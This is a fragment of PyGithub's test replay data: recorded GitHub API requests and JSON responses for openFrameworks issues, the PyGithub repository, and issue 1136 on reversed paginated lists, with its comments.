\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/124","id":132373,"number":124,"title":"TTF type rendering in OF - fix fuzziness ","user":{"login":"openframeworks","id":142866,"avatar_url":"https://secure.gravatar.com/avatar/a858611b044a8302ab14cfe752e17369?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a858611b044a8302ab14cfe752e17369","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2010-02-13T14:15:25Z","updated_at":"2013-02-11T12:13:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=3299&p=17852#p17852"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/115/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/115","id":111018,"number":115,"title":"opengl stress test example","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2010-01-12T02:56:21Z","updated_at":"2012-02-27T12:30:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"it would make sense to have an opengl stress test app, that can test some basic about wether or not someone has ARB support, how fast their systems are, etc. I can imagine that for 0.07, we'll be helping people debug shaders and FBOs, having some way to gauge what kind of system they are on and what it can take, will be helpful. \r\n\r\nHere's a simple test app from the Lua-AV folks that looks like a reasonable system: \r\n\r\nhttp://img191.imageshack.us/img191/1659/picture3po.png"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/107/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/107","id":104702,"number":107,"title":"should we start all OF apps with a frame rate set?","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2009-12-31T15:10:45Z","updated_at":"2012-02-28T14:02:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"at the moment, we've got it like:\r\n\r\nofAppGlutWindow::ofAppGlutWindow(){\r\n\tfps\t\t\t\t= 60.0; //give a realistic starting value - win32 issues\r\n\tbFrameRateSet\t\t= false;\r\n}\r\n\r\nbut I personally prefer all apps to start with some kind of similar frame rate (ie, examples running really fast on mac, etc). see for example: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?p=16520&#p16520\r\n\r\nthis kind of thing leads to less \"cross-platform-ness\" and more confusion from beginners, no? \r\n\r\n- z\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/91/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/91","id":94898,"number":91,"title":"listDevices should return a list of strings","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"obviousjim","id":321434,"avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","url":"https://api.github.com/users/obviousjim","html_url":"https://github.com/obviousjim","followers_url":"https://api.github.com/users/obviousjim/followers","following_url":"https://api.github.com/users/obviousjim/following","gists_url":"https://api.github.com/users/obviousjim/gists{/gist_id}","starred_url":"https://api.github.com/users/obviousjim/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/obviousjim/subscriptions","organizations_url":"https://api.github.com/users/obviousjim/orgs","repos_url":"https://api.github.com/users/obviousjim/repos","events_url":"https://api.github.com/users/obviousjim/events{/privacy}","received_events_url":"https://api.github.com/users/obviousjim/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":13,"created_at":"2009-12-09T17:11:40Z","updated_at":"2013-02-11T12:13:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"videoGrabber and serial listDevices should return a vector of strings apart from printing to console"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testCustomPerPageIteration.txt0000644000175100001660000007575714756101563026770 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 14:52:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"94888ce5a3d160469b34ae27aa79ff2642ab71edc8d18fa2c5e192dba4611de2"'), ('Last-Modified', 'Sun, 24 Mar 2024 11:25:21 GMT'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1711294214'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D022:1444A0:4E24293:4E97CA4:66003E40')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-03-24T11:25:21Z","pushed_at":"2024-03-24T14:24:51Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15776,"stargazers_count":6627,"watchers_count":6627,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1703,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":282,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1703,"open_issues":282,"watchers":6627,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1703,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/issues/1136 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 14:52:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c247e53efccb989fff0f942a0fdeca97bb8705c2124682f3b8c2e790d7b8370"'), ('Last-Modified', 'Sun, 24 Mar 2024 14:00:06 GMT'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'issues=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1711294214'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D032:1B371B:52B6395:53292C9:66003E41')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/events","html_url":"https://github.com/PyGithub/PyGithub/issues/1136","id":454822411,"node_id":"MDU6SXNzdWU0NTQ4MjI0MTE=","number":1136,"title":"Paginated list reversed only gives the first page of results backwards","user":{"login":"micahsteinberg","id":31256235,"node_id":"MDQ6VXNlcjMxMjU2MjM1","avatar_url":"https://avatars.githubusercontent.com/u/31256235?v=4","gravatar_id":"","url":"https://api.github.com/users/micahsteinberg","html_url":"https://github.com/micahsteinberg","followers_url":"https://api.github.com/users/micahsteinberg/followers","following_url":"https://api.github.com/users/micahsteinberg/following{/other_user}","gists_url":"https://api.github.com/users/micahsteinberg/gists{/gist_id}","starred_url":"https://api.github.com/users/micahsteinberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/micahsteinberg/subscriptions","organizations_url":"https://api.github.com/users/micahsteinberg/orgs","repos_url":"https://api.github.com/users/micahsteinberg/repos","events_url":"https://api.github.com/users/micahsteinberg/events{/privacy}","received_events_url":"https://api.github.com/users/micahsteinberg/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":7,"created_at":"2019-06-11T17:47:23Z","updated_at":"2024-03-24T14:00:06Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"When I do\r\n```\r\ng = Github(\"xxx\")\r\nrepo = g.get_repo(\"xxx\")\r\n\r\nfor comm in repo.get_commits(since=datetime).reversed:\r\n ....\r\n```\r\nit only goes through the most recent 30 results in reverse order.\r\n\r\nI was able to fix this with\r\n```\r\ndef reverse_github_results(paginated_list):\r\n for i in range(paginated_list.totalCount//30, -1, -1):\r\n page = paginated_list.get_page(i)\r\n page.reverse()\r\n for item in page:\r\n yield item\r\n```\r\nbut this possibly runs a bit slower and I thought I should let you guys know\r\n","closed_by":{"login":"stale[bot]","id":26384082,"node_id":"MDM6Qm90MjYzODQwODI=","avatar_url":"https://avatars.githubusercontent.com/in/1724?v=4","gravatar_id":"","url":"https://api.github.com/users/stale%5Bbot%5D","html_url":"https://github.com/apps/stale","followers_url":"https://api.github.com/users/stale%5Bbot%5D/followers","following_url":"https://api.github.com/users/stale%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/stale%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/stale%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stale%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/stale%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/stale%5Bbot%5D/repos","events_url":"https://api.github.com/users/stale%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/stale%5Bbot%5D/received_events","type":"Bot","site_admin":false},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/reactions","total_count":7,"+1":7,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/timeline","performed_via_github_app":null,"state_reason":"reopened"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/1136/comments?per_page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 14:52:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"57c5d41745d1850a5668491fc82543958ec801d97e5eeb55f7f8da49da691fce"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1711294214'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D034:C40A4:5108CDA:517C9AC:66003E41')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-520169504","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":520169504,"node_id":"MDEyOklzc3VlQ29tbWVudDUyMDE2OTUwNA==","user":{"login":"stale[bot]","id":26384082,"node_id":"MDM6Qm90MjYzODQwODI=","avatar_url":"https://avatars.githubusercontent.com/in/1724?v=4","gravatar_id":"","url":"https://api.github.com/users/stale%5Bbot%5D","html_url":"https://github.com/apps/stale","followers_url":"https://api.github.com/users/stale%5Bbot%5D/followers","following_url":"https://api.github.com/users/stale%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/stale%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/stale%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stale%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/stale%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/stale%5Bbot%5D/repos","events_url":"https://api.github.com/users/stale%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/stale%5Bbot%5D/received_events","type":"Bot","site_admin":false},"created_at":"2019-08-10T18:16:46Z","updated_at":"2019-08-10T18:16:46Z","author_association":"NONE","body":"This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879739410","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879739410,"node_id":"IC_kwDOADYVqs5wCowS","user":{"login":"engn33r","id":6261182,"node_id":"MDQ6VXNlcjYyNjExODI=","avatar_url":"https://avatars.githubusercontent.com/u/6261182?v=4","gravatar_id":"","url":"https://api.github.com/users/engn33r","html_url":"https://github.com/engn33r","followers_url":"https://api.github.com/users/engn33r/followers","following_url":"https://api.github.com/users/engn33r/following{/other_user}","gists_url":"https://api.github.com/users/engn33r/gists{/gist_id}","starred_url":"https://api.github.com/users/engn33r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engn33r/subscriptions","organizations_url":"https://api.github.com/users/engn33r/orgs","repos_url":"https://api.github.com/user